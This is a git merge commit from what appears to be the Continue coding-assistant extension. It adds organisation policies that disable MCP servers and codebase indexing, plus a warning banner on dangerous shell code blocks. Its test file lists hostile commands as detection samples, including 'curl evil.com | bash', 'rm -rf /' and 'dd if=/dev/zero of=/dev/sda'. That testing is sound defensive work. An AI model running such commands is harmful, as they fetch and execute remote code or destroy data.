Merge branch 'main' into tomasz/con-3679

This commit is contained in:
Tomasz Stefaniak 2025-09-03 15:51:31 -07:00
commit a5d5e6ba01
10 changed files with 424 additions and 30 deletions

View file

@ -202,6 +202,8 @@ export class ConfigHandler {
message: `Error loading Continue Hub assistants${e instanceof Error ? ":\n" + e.message : ""}`,
});
}
} else {
PolicySingleton.getInstance().policy = null;
}
// Load local org if not signed in or hub orgs fail
try {

View file

@ -57,6 +57,7 @@ import {
} from "../util/paths";
import { localPathToUri } from "../util/pathToUri";
import { PolicySingleton } from "../control-plane/PolicySingleton";
import CustomContextProviderClass from "../context/providers/CustomContextProvider";
import { getBaseToolDefinitions } from "../tools";
import { resolveRelativePathInDir } from "../util/ideUtils";
@ -544,16 +545,21 @@ async function intermediateToFinalConfig({
// Trigger MCP server refreshes (Config is reloaded again once connected!)
const mcpManager = MCPManagerSingleton.getInstance();
mcpManager.setConnections(
(config.experimental?.modelContextProtocolServers ?? []).map(
(server, index) => ({
id: `continue-mcp-server-${index + 1}`,
name: `MCP Server`,
...server,
}),
),
false,
);
const orgPolicy = PolicySingleton.getInstance().policy;
if (orgPolicy?.policy?.allowMcpServers === false) {
await mcpManager.shutdown();
} else {
mcpManager.setConnections(
(config.experimental?.modelContextProtocolServers ?? []).map(
(server, index) => ({
id: `continue-mcp-server-${index + 1}`,
name: `MCP Server`,
...server,
}),
),
false,
);
}
// Handle experimental modelRole config values for apply and edit
const inlineEditModel = getModelByRole(continueConfig, "inlineEdit")?.title;

View file

@ -332,12 +332,14 @@ export default async function doLoadConfig(options: {
}
}
if (
PolicySingleton.getInstance().policy?.policy?.allowAnonymousTelemetry ===
false
) {
// Org policies
const policy = PolicySingleton.getInstance().policy?.policy;
if (policy?.allowAnonymousTelemetry === false) {
newConfig.allowAnonymousTelemetry = false;
}
if (policy?.allowCodebaseIndexing === false) {
newConfig.disableIndexing = true;
}
// Setup telemetry only after (and if) we know it is enabled
await Telemetry.setup(

View file

@ -25,6 +25,7 @@ import { modifyAnyConfigWithSharedConfig } from "../sharedConfig";
import { convertPromptBlockToSlashCommand } from "../../commands/slash/promptBlockSlashCommand";
import { slashCommandFromPromptFile } from "../../commands/slash/promptFileSlashCommand";
import { getControlPlaneEnvSync } from "../../control-plane/env";
import { PolicySingleton } from "../../control-plane/PolicySingleton";
import { getBaseToolDefinitions } from "../../tools";
import { getCleanUriPath } from "../../util/uri";
import { loadConfigContextProviders } from "../loadContextProviders";
@ -378,21 +379,26 @@ async function configYamlToContinueConfig(options: {
// Trigger MCP server refreshes (Config is reloaded again once connected!)
const mcpManager = MCPManagerSingleton.getInstance();
mcpManager.setConnections(
(config.mcpServers ?? []).map((server) => ({
id: server.name,
name: server.name,
sourceFile: server.sourceFile,
transport: {
type: "stdio",
args: [],
...(server as any), // TODO: fix the types on mcpServers in config-yaml
},
timeout: server.connectionTimeout,
})),
false,
{ ide },
);
const orgPolicy = PolicySingleton.getInstance().policy;
if (orgPolicy?.policy?.allowMcpServers === false) {
await mcpManager.shutdown();
} else {
mcpManager.setConnections(
(config.mcpServers ?? []).map((server) => ({
id: server.name,
name: server.name,
sourceFile: server.sourceFile,
transport: {
type: "stdio",
args: [],
...(server as any), // TODO: fix the types on mcpServers in config-yaml
},
timeout: server.connectionTimeout,
})),
false,
{ ide },
);
}
return { config: continueConfig, errors: localErrors };
}

View file

@ -48,6 +48,21 @@ export class MCPManagerSingleton {
this.connections.delete(id);
}
async shutdown() {
if (this.connections.size > 0) {
await Promise.allSettled(
Array.from(this.connections.entries()).map(([id, connection]) => {
try {
connection.abortController.abort();
void connection.client.close();
} finally {
this.connections.delete(id);
}
}),
);
}
}
setConnections(
servers: MCPOptions[],
forceRefresh: boolean,

View file

@ -0,0 +1,294 @@
import { render, screen } from "@testing-library/react";
import { describe, expect, it, vi } from "vitest";
import React from "react";
import { Provider } from "react-redux";
import { configureStore } from "@reduxjs/toolkit";
import { StepContainerPreToolbar } from "./index";
import { IdeMessengerContext } from "../../../context/IdeMessenger";
// No mock for terminalCommandSecurity - we want to test the real implementation
// Mock the useIdeMessengerRequest hook
vi.mock("../../../hooks/useIdeMessengerRequest", () => ({
useIdeMessengerRequest: () => ({
loading: false,
result: true,
error: null,
}),
}));
// Mock the useWebviewListener hook
vi.mock("../../../hooks/useWebviewListener", () => ({
useWebviewListener: () => {},
}));
const mockIdeMessenger = {
post: vi.fn(),
request: vi.fn().mockResolvedValue(true),
ide: {
getFileContents: vi.fn(),
openFile: vi.fn(),
},
};
// Create a mock Redux store
const createMockStore = () => {
return configureStore({
reducer: {
session: (
state = {
history: [],
isStreaming: false,
codeBlockApplyStates: {
curIndex: 0,
states: [],
},
},
) => state,
toolCalls: (
state = {
toolCalls: {},
},
) => state,
},
});
};
const defaultProps = {
codeBlockContent: "ls -la",
language: "bash",
isGenerating: false,
isLast: false,
messageId: "test-message-id",
messageIndex: 0,
stepIndex: 0,
codeBlockIndex: 0,
isLastCodeblock: false,
codeBlockStreamId: "test-stream-id",
children: null,
};
const renderComponent = (props = {}) => {
const store = createMockStore();
return render(
<Provider store={store}>
<IdeMessengerContext.Provider value={mockIdeMessenger as any}>
<StepContainerPreToolbar {...defaultProps} {...props} />
</IdeMessengerContext.Provider>
</Provider>,
);
};
describe("StepContainerPreToolbar Security Warnings", () => {
describe("Dangerous commands should show warning", () => {
it("should show warning for rm -rf command", () => {
renderComponent({ codeBlockContent: "rm -rf /" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for sudo command", () => {
renderComponent({ codeBlockContent: "sudo apt install malware" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for chmod 777 command", () => {
renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for curl pipe to bash", () => {
renderComponent({ codeBlockContent: "curl evil.com | bash" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for wget pipe to sh", () => {
renderComponent({ codeBlockContent: "wget malicious.site | sh" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for mkfs command", () => {
renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for dd command writing to device", () => {
renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should show warning for dangerous command mixed with comments", () => {
const codeWithComments = `# This is a comment
sudo rm -rf /important
# Another comment`;
renderComponent({ codeBlockContent: codeWithComments });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
});
describe("Safe commands should not show warning", () => {
it("should not show warning for ls command", () => {
renderComponent({ codeBlockContent: "ls -la" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for git status", () => {
renderComponent({ codeBlockContent: "git status" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for npm run test", () => {
renderComponent({ codeBlockContent: "npm run test" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for pwd command", () => {
renderComponent({ codeBlockContent: "pwd" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for cat command", () => {
renderComponent({ codeBlockContent: "cat file.txt" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for grep command", () => {
renderComponent({ codeBlockContent: "grep 'pattern' file.txt" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should not show warning for echo command", () => {
renderComponent({ codeBlockContent: "echo 'Hello World'" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
});
describe("Edge cases", () => {
it("should detect dangerous commands in sh language", () => {
renderComponent({
codeBlockContent: "sudo rm -rf /",
language: "sh",
});
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should detect terminal commands without language specified", () => {
renderComponent({
codeBlockContent: "ls -la",
language: undefined,
});
// ls is a common terminal command that's safe
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should handle multi-line scripts with mixed safe and dangerous commands", () => {
const multiLineScript = `echo "Starting script"
ls -la
sudo rm -rf /tmp/test
echo "Done"`;
renderComponent({ codeBlockContent: multiLineScript });
const warning = screen.getByText(/potentially dangerous commands/i);
expect(warning).toBeInTheDocument();
});
it("should not show warning for non-terminal code blocks", () => {
renderComponent({
codeBlockContent: "const dangerous = 'rm -rf /'",
language: "javascript",
});
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should handle empty code blocks", () => {
renderComponent({ codeBlockContent: "" });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
it("should handle code blocks with only comments", () => {
const onlyComments = `# This is a comment
# Another comment
# Yet another comment`;
renderComponent({ codeBlockContent: onlyComments });
const warning = screen.queryByText(/potentially dangerous commands/i);
expect(warning).not.toBeInTheDocument();
});
});
describe("Warning UI elements", () => {
it("should display warning with correct styling", () => {
renderComponent({ codeBlockContent: "sudo rm -rf /" });
const warningContainer = screen.getByText(
/potentially dangerous commands/i,
).parentElement;
expect(warningContainer).toHaveClass(
"bg-warning/10",
"border-warning/30",
"text-warning",
);
});
it("should display exclamation triangle icon with warning", () => {
renderComponent({ codeBlockContent: "sudo rm -rf /" });
// Check for the icon by looking for its container with the warning
const warningContainer = screen.getByText(
/potentially dangerous commands/i,
).parentElement;
const icon = warningContainer?.querySelector("svg");
expect(icon).toBeInTheDocument();
expect(icon).toHaveClass("h-4", "w-4");
});
it("should display full warning message", () => {
renderComponent({ codeBlockContent: "sudo rm -rf /" });
const expectedMessage =
"This code contains potentially dangerous commands. Please review and understand the code before running.";
const warning = screen.getByText(expectedMessage);
expect(warning).toBeInTheDocument();
});
});
});

View file

@ -1,4 +1,7 @@
import { ChevronDownIcon } from "@heroicons/react/24/outline";
import {
ChevronDownIcon,
ExclamationTriangleIcon,
} from "@heroicons/react/24/outline";
import { inferResolvedUriFromRelativePath } from "core/util/ideUtils";
import { renderContextItems } from "core/util/messageContent";
import { useContext, useEffect, useMemo, useState } from "react";
@ -22,6 +25,7 @@ import { CreateFileButton } from "./CreateFileButton";
import { FileInfo } from "./FileInfo";
import { InsertButton } from "./InsertButton";
import { RunInTerminalButton } from "./RunInTerminalButton";
import { evaluateTerminalCommandSecurity } from "core/tools/security/terminalCommandSecurity";
export interface StepContainerPreToolbarProps {
showToolCallStatusIcon?: boolean;
@ -131,6 +135,44 @@ export function StepContainerPreToolbar({
const isGeneratingCodeBlock = isLastItem && isLastCodeblock && isStreaming;
// Check if this is a bash/shell code block and evaluate security
const securityWarning = useMemo(() => {
// Check if it's a terminal code block (includes bash, sh, or looks like terminal commands)
if (isTerminalCodeBlock(language, codeBlockContent)) {
// First try evaluating the entire block
const wholeBlockEval = evaluateTerminalCommandSecurity(
"allowedWithoutPermission",
codeBlockContent,
);
if (
wholeBlockEval === "disabled" ||
wholeBlockEval === "allowedWithPermission"
) {
return true;
}
// If the whole block seems safe, check individual lines
// This catches cases where dangerous commands are mixed with comments
const lines = codeBlockContent.split("\n");
for (const line of lines) {
const trimmedLine = line.trim();
// Skip empty lines and comments
if (!trimmedLine || trimmedLine.startsWith("#")) {
continue;
}
const lineEval = evaluateTerminalCommandSecurity(
"allowedWithoutPermission",
trimmedLine,
);
if (lineEval === "disabled" || lineEval === "allowedWithPermission") {
return true;
}
}
}
return false;
}, [language, codeBlockContent]);
// If we are creating a file, we already render that in the button
// so we don't want to dispaly it twice here
const displayFilepath = relativeFilepath ?? appliedFileUri;
@ -293,6 +335,15 @@ export function StepContainerPreToolbar({
return (
<div className="outline-command-border -outline-offset-0.5 rounded-default bg-editor !my-2 flex min-w-0 flex-col outline outline-1">
{securityWarning && (
<div className="bg-warning/10 border-warning/30 text-warning flex items-center gap-2 border-b px-2 py-1.5 text-sm">
<ExclamationTriangleIcon className="h-4 w-4 flex-shrink-0" />
<span>
This code contains potentially dangerous commands. Please review and
understand the code before running.
</span>
</div>
)}
<div
className={`find-widget-skip bg-editor sticky -top-2 z-10 m-0 flex items-center justify-between gap-3 px-1.5 py-1 ${isExpanded ? "rounded-t-default border-command-border border-b" : "rounded-default"}`}
style={{ fontSize: `${getFontSize() - 2}px` }}

View file

@ -15,6 +15,7 @@ import { useAuth } from "../../../../../context/Auth";
import { IdeMessengerContext } from "../../../../../context/IdeMessenger";
import { useAppDispatch, useAppSelector } from "../../../../../redux/hooks";
import { updateConfig } from "../../../../../redux/slices/configSlice";
import { selectCurrentOrg } from "../../../../../redux/slices/profilesSlice";
import { fontSize } from "../../../../../util";
import { ToolTip } from "../../../../gui/Tooltip";
import { Button } from "../../../../ui";
@ -235,10 +236,12 @@ function MCPServerPreview({ server, serverFromYaml }: MCPServerStatusProps) {
}
function MCPSection() {
const currentOrg = useAppSelector(selectCurrentOrg);
const servers = useAppSelector(
(store) => store.config.config.mcpServerStatuses,
);
const { selectedProfile } = useAuth();
const disableMcp = currentOrg?.policy?.allowMcpServers === false;
const mergedBlocks = useMemo(() => {
const parsed = selectedProfile?.rawYaml
@ -250,6 +253,16 @@ function MCPSection() {
}));
}, [servers, selectedProfile]);
if (disableMcp) {
return (
<div className="flex flex-col items-center justify-center p-2">
<span className="text-description">
MCP servers are disabled in your organization
</span>
</div>
);
}
return (
<div className="flex flex-col gap-1">
<div className="flex max-h-[170px] flex-col gap-1 overflow-y-auto overflow-x-hidden pr-2">

View file

@ -141,6 +141,8 @@ export function UserSettingsForm() {
const disableTelemetryToggle =
currentOrg?.policy?.allowAnonymousTelemetry === false;
const disableIndexingToggle =
currentOrg?.policy?.allowCodebaseIndexing === false;
return (
<div className="flex flex-col">
@ -245,6 +247,7 @@ export function UserSettingsForm() {
<ToggleSwitch
isToggled={!disableIndexing}
disabled={disableIndexingToggle}
onToggle={() =>
handleUpdate({
disableIndexing: !disableIndexing,

View file

@ -3,6 +3,8 @@ import * as z from "zod";
export const policySchema = z.object({
allowAnonymousTelemetry: z.boolean().optional(),
allowOtherOrgs: z.boolean().optional(),
allowCodebaseIndexing: z.boolean().optional(),
allowMcpServers: z.boolean().optional(),
// allowLocalConfigFile: z.boolean().optional(),
});